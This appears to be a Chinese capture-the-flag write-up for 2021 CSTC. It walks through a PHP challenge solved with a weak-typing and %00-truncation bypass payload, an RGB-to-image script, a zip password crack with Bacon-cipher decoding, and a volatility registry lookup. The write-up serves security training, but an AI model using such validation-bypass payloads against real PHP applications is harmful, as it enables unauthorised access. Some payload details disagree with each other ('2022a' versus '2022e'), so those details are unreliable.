WP - 2021CSTC
web
esayweb1
审计代码后,需满足$v1,$v2,$v3同时为1.
$a=(array)json_decode(@$_GET['foo']);
if(is_numeric(@$a["bar1"])){
echo "die"."<br>";
}
if(@$a["bar1"]){
($a["bar1"]>2021)?$v1=1:NULL;
}
传入的foo,经过json_decode转换成array。判断$a["bar1"]是否是数字,接下来判断bar1是否大于2021.
根据php弱类型,
$a["bar1"]=2022a
if(is_array(@$a["bar2"])){
if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
$pos = array_search("nudt", $a["a2"]);
$pos===false?die("nope"):NULL;
foreach($a["bar2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
}
$v2=1;
}
$a["bar2"]需要是个数组,并且元素个数为5,同时,$a"bar2"也为数组
$a["bar2"]=[[],2,3,4,5]
对于 $pos = array_search("nudt", $a["a2"]);
,它搜索字符串“nudt”在$a[“a2”]中的位置。若没有找到,array_search返回false,会通过严格比较导致die掉。所以这里要设置:
$a["a2"] = “nudt”
现在的payload为
foo={"bar1":"2022a","bar2":[[],2,3,4,5],"a2":["nudt"]}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "cstc2021")?$v3=1:NULL;
}
}
先将c[1]与d进行比较,利用数组字符串比较返回null的特性解决。
eregi是对$d.$c[0]
进行正则匹配,匹配到就结束。而下一步需要$c[0].$d
中存在cstc2021,利用%00截断,在正则匹配eregi时在开头时就匹配结束掉。
strpos(($c[0].$d), "cstc2021")
还要求cstc2021不能在开头。
dog=%00
`$c[0]="cstc2021"
payload
?foo={"bar1":"2022e","bar2":[[],2,3,4,5],"a2":["nudt"]}&cat[0]="cstc2021"&cat[1][]=&dog=%00}
MISC
RGB
28864=41*11*2*2*2*2*2*2**=41*11*64=41*22*32=41*22*16*2=82*352
from PIL import Image
f = open("code.txt","r")
result = f.readlines()
for i in result:
d = i.strip("\n")
x = 164
y = 176
im = Image.new("RGB",(y,x))
file = open("code.txt","r")
for i in range(y):
for j in range(x):
line = file.readline()
rgb = line.split("#")
im.putpixel((i,j),(int(rgb[0].strip("(")),int(rgb[1]),int(rgb[2].strip("\n").strip(")"))))
im.show()
im.save("flag.jpg")
生成的结果为镜像翻转,勉强拼出flag。
flag{c1d836d1db9d42dd}
zip
使用aapr破解出压缩包密码为ff123后,发现readme.txt中内容为BABBBBBAAAABAAB
一共15个字符,联想培根密码,xyj,word打开后,将字体调成黑色,可以看见flag。
Memory_1
volatility -f mal.vmem --profile=Win7SP1x64 printkey -K "MicrosoftWindowsCurrentVersionRun"